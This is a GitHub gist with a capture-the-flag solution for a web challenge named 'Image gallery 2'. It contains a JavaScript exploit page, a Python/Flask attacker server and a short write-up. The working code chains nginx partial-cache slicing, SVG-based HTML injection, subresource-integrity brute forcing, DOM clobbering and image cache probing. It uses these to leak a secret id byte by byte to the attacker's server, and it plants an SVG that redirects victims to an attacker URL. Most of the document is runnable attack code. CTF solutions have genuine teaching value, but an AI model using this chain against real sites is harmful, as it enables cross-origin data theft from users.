Skip to content

Instantly share code, notes, and snippets.

@ma1f0y
Last active February 27, 2024 05:53
Show Gist options
  • Save ma1f0y/4bf564310e8d205eb6d52d1cb0df0bea to your computer and use it in GitHub Desktop.
Save ma1f0y/4bf564310e8d205eb6d52d1cb0df0bea to your computer and use it in GitHub Desktop.
Solution for Image gallery 2
<html>
<body>
<script>
const url = "http://web2.bi0s.in"
const blob = new Blob(['a'], {type: "image/png"})
const data = new FormData()
const caches = Array.from({length: 18}, (_, i) => i+1).map(x => x.toString())
const lens = { 4: 'AAAA',8: 'AAAAAAA', 6: 'AAAAAAAA', 12: 'AAAAAAAAAA', 10: 'AAAAAAAAAAA', 16: 'AAAAAAAAAAAAA', 14: 'AAAAAAAAAAAAAA', 20: 'AAAAAAAAAAAAAAAA', 18: 'AAAAAAAAAAAAAAAAA', 24: 'AAAAAAAAAAAAAAAAAAA', 22: 'AAAAAAAAAAAAAAAAAAAA', 28: 'AAAAAAAAAAAAAAAAAAAAAA', 26: 'AAAAAAAAAAAAAAAAAAAAAAA', 32: 'AAAAAAAAAAAAAAAAAAAAAAAAA', 30: 'AAAAAAAAAAAAAAAAAAAAAAAAAA', 36: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAA', 34: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA', 38: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'}
const all_hex_pairs = Array.from({length: 256}, (_, i) => i.toString(16).padStart(2, '0'))
let img_url
const log = async(msg) => {
fetch("/log?val="+encodeURIComponent(msg))
}
const found_log = async(chr) => {
fetch("/found?val="+encodeURIComponent(chr))
}
const sleep = (ms) => {
return new Promise(resolve => setTimeout(resolve, ms));
}
function cache_set(key,range) {
return new Promise((resolve, reject) => {
fetch(url + '/files.js?'+key, {
headers: {
"Range":range,
"Accept" :"appplication/json"
},
credentials: "include",
mode : "cors"
})
.then(response => {
resolve()
})
.catch(error => {
resolve()
});
});
}
async function load_and_check(url){
var img = new Image();
img.src = url;
await new Promise(r=>setTimeout(r,10));
return img.complete;
}
const key_map = {
'7' : true,
'9' : false,
'12' : true,
'14' : false
}
const hexchars = '0123456789abcdef'
async function check(key,part) {
if(key in key_map)
{
for(i=0;i<hexchars.length;i++)
{
t = key_map[key]? hexchars[i]+'-' : '-'+hexchars[i]
res = await load_and_check(img_url+"?"+key+t)
if(res != key_map[key])
{
await found_log(t)
return true
}
}
}else{
for (let i = 64*(part); i < 64*(part+1); i++) {
res = await load_and_check(img_url+"?"+key+all_hex_pairs[i])
//log("Checked: "+key+all_hex_pairs[i]+"res="+res)
if(!res)
{
await found_log(all_hex_pairs[i])
return true
break
}
}
}
return false
}
const upload = async(data) =>{
await fetch(url + '/upload', {
method: 'POST',
mode : "no-cors",
credentials : "include",
body: data
});
}
const delete_file = async(filename) =>{
return new Promise((resolve, reject) => {
fetch(url + '/delete?file=' + filename, {
method: 'GET',
mode:"no-cors",
credentials: "include"
}).then(response => {
resolve()
}).catch(error => {
resolve()
});
});
}
main = async() =>{
img_url = await fetch('/image').then(response => response.text())
data.append('file',blob , 'flag.png')
//await upload(data)
for (let i = 0; i < 7; i++) {
data.set('file',blob , `?${String.fromCharCode(98+i)}?`.repeat(85))
await upload(data)
}
data.set('file',blob , 'A'.repeat(240))
await upload(data)
data.set('file',blob , 'A'.repeat(30)+"?A?")
await upload(data)
for (let i = 0; i<caches.length; i++) {
await cache_set(caches[i],"bytes=0-4095")
}
await delete_file('A'.repeat(30)+"?A?")
j=0
for (let i = 4; i<=38; i+=2) {
data.set('file',blob , lens[i])
await upload(data)
await cache_set(caches[j++],"bytes=4096-4099")
await delete_file(lens[i])
}
data.set('file',blob , "A".repeat(255))
await upload(data)
w = window.open("about:blank")
for (let i = 0; i<caches.length; i++) {
svg_urls = await fetch('/get?key='+caches[i]).then(response => response.text())
svg_urls = svg_urls.split(",")
for (let j = 0; j < svg_urls.length; j++) {
log("opening: "+svg_urls[j])
w.location = svg_urls[j]+"?"+caches[i]
await sleep(3500)
found = await check(caches[i],j)
if(found)
{
break
}
}
}
}
main()
</script>
</body>
</html>
import requests
import random
import html
import hashlib
import base64
url = "http://web2.bi0s.in"
img = ""
img_svg=""
r = requests.get(url)
cookies = {'sid' : r.cookies["sid"]}
def fetch_cache(keys,cookies):
for key in keys:
r= requests.get(url+f'/files.js?'+str(key) , cookies=cookies).text
print(r, len(r))
def cache(key,range,cookies):
requests.get(url+f'/files.js?{key}', cookies=cookies, headers={"Range": range})
def delete(filename,cookies):
requests.get(url+f'/delete?file={filename}', cookies=cookies)
def upload(content,filename,cookies):
requests.post(url+'/upload', files={'file' : (filename,content)} ,allow_redirects=False , cookies=cookies)
return url+"/static/"+cookies["sid"]+"/"+filename
#exploit()
# first slice
contem = """if(top.location.origin==='http://web2.bi0s.in')
fileNames = JSON.parse(atob(decodeURIComponent('WyI%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8%2FYj8iLCI%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8%2FYz8iLCI%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8%2FZD8iLCI%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8%2FZT8iLCI%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8%2FZj8iLCI%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8%2FZz8iLCI%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8%2FaD8iLCJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUE%2FQT8iLCJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLCJmbGFnLnBuZyJd'))),
id = '{}"""
know = ['',"';","FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB"]
svg_tmp = """<svg xmlns:html="http://www.w3.org/1999/xhtml" >
{}
</svg>"""
svg_img = """<svg xmlns:html="http://www.w3.org/1999/xhtml" >
<html:img src="{}"></html:img>
</svg>"""
# redirect to our site
red_svg = """<svg xmlns:html="http://www.w3.org/1999/xhtml" >
<html:meta http-equiv="refresh" content="0; url={}"></html:meta>
</svg>"""
# 18 17 16 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1
# 81 4a e0 c0 -c e8 4- 42 65 -b 20 9- 15 52 06 a2 51 3d
key_map = {
'7' : True,
'9' : False,
'12' : True,
'14' : False
}
def gen_hashes(key):
html_pay ="""
<script integrity="sha256-{b}" src="/files.js?{key}"></script>
<a id="id" href="abc:asdf">asdff</a>
<a id="fileNames" href="asd:asdf/../../../../../static/{image}?{cha}">fasd</a>
<a id="fileNames" href="asd:asdf">fwe</a>
<div class="gallery row">
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
<script src="/main.js"></script>
""".replace('\n','')
hexchars = '0123456789abcdef'
global know,contem,img
image = "/".join(img.split('/')[-2:])
a =[]
if key in key_map:
for i in hexchars:
t = i+'-' if key_map[key] else '-'+i
c = contem.format(t+''.join(know))
h = hashlib.sha256(c.encode()).digest()
b = base64.b64encode(h).decode()
a.append(html_pay.format(b=b,key=key,image=image,cha=key+t))
else:
for i in hexchars:
for j in hexchars:
c = contem.format(i+j+''.join(know))
# print(c)
h = hashlib.sha256(c.encode()).digest()
b = base64.b64encode(h).decode()
a.append(html_pay.format(b=b,key=key,image=image,cha=key+i+j))
s = list(map(iframe,map(html.escape,a)))
svgs = []
if key not in key_map:
for i in range(0,256,64):
tem = ''.join(s[i:i+64])
svgs.append(svg_tmp.format(tem))
else:
svgs.append(svg_tmp.format(s))
return svgs
def iframe(srcdoc):
return f"""<html:iframe srcdoc='{srcdoc}'></html:iframe>"""
from flask import Flask, request
app = Flask(__name__)
@app.route('/')
def index():
return open('a.html').read()
@app.route('/log')
def about():
name = request.args.get('val','')
if ',' in name:
keys = name.split(',')
print(keys)
return "Hi"
@app.route('/found')
def found():
name = request.args.get('val')
global know
know[0] = name+know[0]
know[2] = know[2][2:]
print(know)
return "Found"
@app.route('/get')
def get():
key = request.args.get('key')
svgs = gen_hashes(key)
urls = []
global cookies
for i,svg in enumerate(svgs):
urls.append(upload(svg,f'file{i}.svg',cookies))
# print(urls)
return ','.join(urls)
@app.route('/image')
def image():
global img
print(img)
return img
@app.route('/test')
def test():
global img_svg
print(img_svg)
return img_svg
if __name__ == '__main__':
img = input("Enter the image url: ")
#img = "http://34.18.55.224/static/60a63089-e973-430a-b3df-f8d1ae0ffa48/IMG_20200716_195953.jpg"
red_url = input("Enter the redirect url: ")
#red_url = "http://20.235.244.64:8000/"
print(upload(red_svg.format(red_url),'red.svg',cookies))
app.run(port=8000,host="0.0.0.0")
@ma1f0y
Copy link
Author

ma1f0y commented Feb 26, 2024

Solution:

  • Use SVG for everything
    • As directly loading an html files was not possible in the challenge we can use SVG to inject html.
  • Abuse nginx partial caching to slice the id in the files.js.
    • we can do that by uploading files with large filenames when converted to base64 and urlencode become more characters.
    • for caching first we can cache 0-4095 bytes with our know bytes(by uploading files with large filenames) and then we can delete files and make the files.js in such a way that the first few bytes of the second slice(ie 4096-4099 etc) will be last chars of the id. then can cache the second slice. then you can add a large file to fill the know bytes in the rest of the part of the second slice.
    • now we can add and delete files to make 2 chars oracle for the id if files.js.
  • Using Subresource Integrity to leak the cached files.js.
    • after caching the files with only two unknow bytes, we can use intigrity attribute in script tag to brute force and load the correct script(which is only possible on the challenge origin).
  • Detecting the script load using image cache probing
    • if we check the main.js, it is expecting fileNames from the files.js but we can use DOM clobbering to give our own image.
    • So if the files.js is not loaded our DOM clobbering will work and it will load our image.
    • then we can use cache probing our image in our site to leak the bytes(yes cache probing will work on headless chrome).

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment